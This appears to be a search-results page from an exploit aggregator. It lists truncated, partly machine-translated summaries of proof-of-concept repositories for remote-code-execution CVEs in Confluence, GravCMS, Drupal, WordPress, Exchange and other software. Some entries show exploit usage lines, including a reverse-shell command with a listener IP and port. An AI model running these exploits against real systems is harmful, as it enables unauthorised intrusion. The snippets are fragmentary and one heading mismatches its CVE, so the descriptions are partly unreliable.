521754 matches found
CVE-2022-26134
CVE-2022-26134 POC 説明 root@kitploit: In affected versions of Confluence Server and Data Center, an OGNL injection vulnerability exists that would allow an unauthenticated attacker to execute arbitrary code on a Confluence Server or Data Center instance. POC 1. python3 confluence.py -u...
CVE-2021-41773-RCE
CVE-2021-41773-RCE...
CVE-2022-28219
CVE-2022-28219 ManageEngine ADAudit Plus ビルド 7060 に影響する CVE-2022-28219 の POC 技術分析 詳細は当社ブログをご覧ください: https://www.horizon3.ai/red-team-blog-cve-2022-28219 使用方法 root@kitploit: % python3 CVE-2022-28219.py -h usage: CVE-2022-28219.py -h -t TARGET -l LHOST -d DOMAIN -lhp HTTPPORT -lfp FTPPORT -f FILE -c...
CVE-2019-19781
CVE-2019-19781 Citrix Netscaler リモートコード実行...
CVE-2021-31166
CVE-2021-31166 説明 - CVE-2021-31166 の POC: Windows HTTP プロトコルスタックのリモートコード実行脆弱性 - antx によって 2021-09-27 に作成されました。 詳細 - ./trigger.gifPoc-Gif CVE 重要度 - attackComplexity: LOW - attackVector: NETWORK - availabilityImpact: HIGH - confidentialityImpact: HIGH - integrityImpact: HIGH -...
CVE-2018-14667_Lab_POC
CVE-2018-14667-Lab 实验前提条件 演示应用来自:http://downloads.jboss.org/richfaces/releases/3.3.X/3.3.4.Final/richfaces-examples-3.3.4.Final.zip Jboss 5.1.0.GA 来自 JBOSS 下载存档:https://repository.jboss.org/sourceforge/ Jdk-6u45-linux-x64 来自 JAVA...
CVE-2023-41425
CVE-2023-41425 説明 Wonder CMS バージョン3.2.0から3.4.2におけるクロスサイトスクリプティングの脆弱性により、リモート攻撃者がinstallModuleコンポーネントにアップロードされた細工されたスクリプトを介して任意のコードを実行できる可能性があります。 これはprodigiousMindによるオリジナルのエクスプロイトの修正版であり、外部インターネット接続に依存せずにエクスプロイト全体をローカルで提供できるように拡張されています。 もしあなたが途方に暮れていて、自転車に問題を見つけた場合に便利です... 注:...
CVE-2021-21425
CVE-2021-21425 - GravCMS 未認証RCE CVE-2021-21425 の改良版概念実証。これは GravCMS Custom command python3 exploit.py -t http://target -c "id" 例 root@kitploit: Get reverse shell on target python3 exploit.py -t http://10.10.10.5 -s 10.10.14.5 4444 Execute command python3 exploit.py -t http://grav.local:8080 -c...
cve-2020-8165-demo
CVE-2020-8165 デモ CVE-2020-8165 のもう一つのデモですが、大半のものより現実的な実装になっています。 背景 CVE-2020-8165 信頼されていないデータのデシリアライゼーションの脆弱性が rails 5.2.4.3、rails 6.0.3.1 に存在し、攻撃者が MemCacheStore および RedisCacheStore 内のユーザー指定オブジェクトをアンマーシャルできる可能性があり、結果として RCE につながる可能性があります。 参考文献 https://hackerone.com/reports/413388...
CVE-2020-13671-old
CVE-2020-13671 通过文件上传实现 RCE — Drupal 核心 软件: Drupal Core 8.7.5(受影响版本:7.x 7.78、8.x 8.8.11、8.9.x 8.9.9、9.0.x 9.0.8) CVSS: 8.8(高危) CWE: CWE-434 — 危险类型文件的无限制上传 CISA KEV: 是 — 已知被利用漏洞 公告: SA-CORE-2020-012 什么是 Drupal Drupal 是一个用 PHP 编写的开源内容管理系统(CMS),与 WordPress 或 Joomla 类似,但更倾向于构建更复杂的系统——企业级网站、多语言平台。Drup...
CVE-2026-55200
CVE-2026-55200 - 重大な libssh2 リモートコード実行脆弱性 libssh2 における重大な認証前メモリ破損脆弱性 概要...
Moodle-authenticated-RCE
Moodle 4.4.0 - 認証済みリモートコード実行 CVE-2024-43425 エクスプロイト CVE: CVE-2024-43425 影響を受けるバージョン Moodle 4.4 ~ 4.4.1 Moodle 4.3 ~ 4.3.5 Moodle 4.2 ~ 4.2.8 Moodle 4.1 ~ 4.1.11 説明 このエクスプロイトは、上記にリストされたMoodleバージョンにおける認証済みリモートコード実行(RCE)脆弱性を標的としています。これにより、有効な認証情報を持つ攻撃者が、安全でない問題バンク編集機能を悪用して、サーバー上で任意のコマンドを実行できるようになります...
CVE-2019-20224
CVE-2019-20224 Pandora v7.0NG の認証後リモートコード実行(CVE-2019-20224)用の公式エクスプロイト...
CVE-Exploitation-Reports
CVE-Exploitation-Reports CVE エクスプロイトレポート: CVE-2007-3280、CVE-2017-0144、CVE-2019-0708 このリポジトリには、以下の Common Vulnerabilities and Exposures CVE に関する詳細なエクスプロイトレポートが含まれています。 CVE-2007-3280: RealPlayer ActiveX コントロールにおけるバッファオーバーフローの脆弱性で、細工された URL を介してリモートの攻撃者が任意のコードを実行できる可能性があります。 CVE-2017-0144: EternalBl...
0-click-RCE-Exploit-for-CVE-2024-10924
CVE-2024-10924 / 认证绕过(2FA)到 RCE 的漏洞利用 作者:Joshua Provoste https://x.com/JoshuaProvoste/status/1859061671852909055 本仓库包含 CVE-2024-10924 的概念验证(PoC)漏洞利用代码,该漏洞是 Really Simple Security WordPress 插件中的一个认证与 2FA 绕过漏洞,可被利用来实现远程命令执行(RCE)。 脚本功能 该脚本利用认证绕过漏洞来冒充管理员,获取所需的 nonce,上传恶意插件,验证已部署的载荷,检测目标操作系统,并提供交互式远程...
react2shell
React2Shell: React Server Components 中的 RCE 0-day CVE-2025-55182 React and CVE-2025-66478 Next.js 本仓库仅包含用于授权安全测试和教育目的的漏洞利用代码。 另请参阅: 多位研究人员已发布对此漏洞的分析。请查阅参考资料部分,获取更多攻击技术、检测方法及分析视角。 这是什么? 2025年12月3日(星期三),React Server Components 中一个严重的远程代码执行漏洞被公开披露。该漏洞被命名为“React2Shell”,允许未认证攻击者通过发送单个 HTTP 请求,在运行受影响版本...
CVE-2020-0688
CVE-2020-0688 に対して脆弱な Exchange サーバーを特定する CVE-2020-0688 は、静的キーの使用が原因で Microsoft Exchange に存在する重大な脆弱性です。悪用には メールユーザーレベルの 有効な資格情報が必要であり、大量悪用のリスクは低いものの、この脆弱性は SYSTEM レベルの RCE につながるため、標的型攻撃で非常に有用となる可能性があります。 詳細情報: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0688...
Monitorizer
Monitorizer 究極のサブドメインモニタリングフレームワーク インストール ❗ 免責事項 --- 管理者ユーザーはローカルサーバー上でコードを実行できます。デフォルトのパスワードを変更してください。そうしないと、自己責任で使用することになります Dockerを使用 root@kitploit: $ curl https://raw.githubusercontent.com/BitTheByte/Monitorizer/main/docker-compose.yml | docker compose -f - up デフォルトの認証情報:...
CVE-2022-29464
CVE-2022-29464 WSO2 RCE CVE-2022-29464 のエクスプロイトと解説。 詳細 CVE-2022-29464 は WSO2 における重大な脆弱性であり、Orange Tsai 氏によって発見されました。この脆弱性は、認証なしで無制限に任意のファイルをアップロードできるもので、認証されていない攻撃者が悪意のある JSP ファイルをアップロードすることで WSO2 サーバー上で RCE を獲得できるようにします。 脆弱なアップロード経路は /fileupload であり、これは FileUploadServlet サーブレットによって処理されます。また、この経路...
CVE-2021-21983
CVE-2021-21975 VMware vRealize Operations vROps Manager API 任意文件写入导致远程代码执行(RCE) vRealize Operations vROps 是一款由 AI 驱动的自动驾驶 IT 运维管理工具,覆盖从应用到基础设施,可优化、规划和扩展 VMware Cloud 与 HCI 部署,同时统一公共云监控。VMware vRealize Operations Manager API 8.4 及所有之前版本 存在服务器端请求伪造(SSRF)漏洞。成功利用此漏洞可能导致读取或更新内部资源,此外,攻击者还可以轻松窃取 vROps...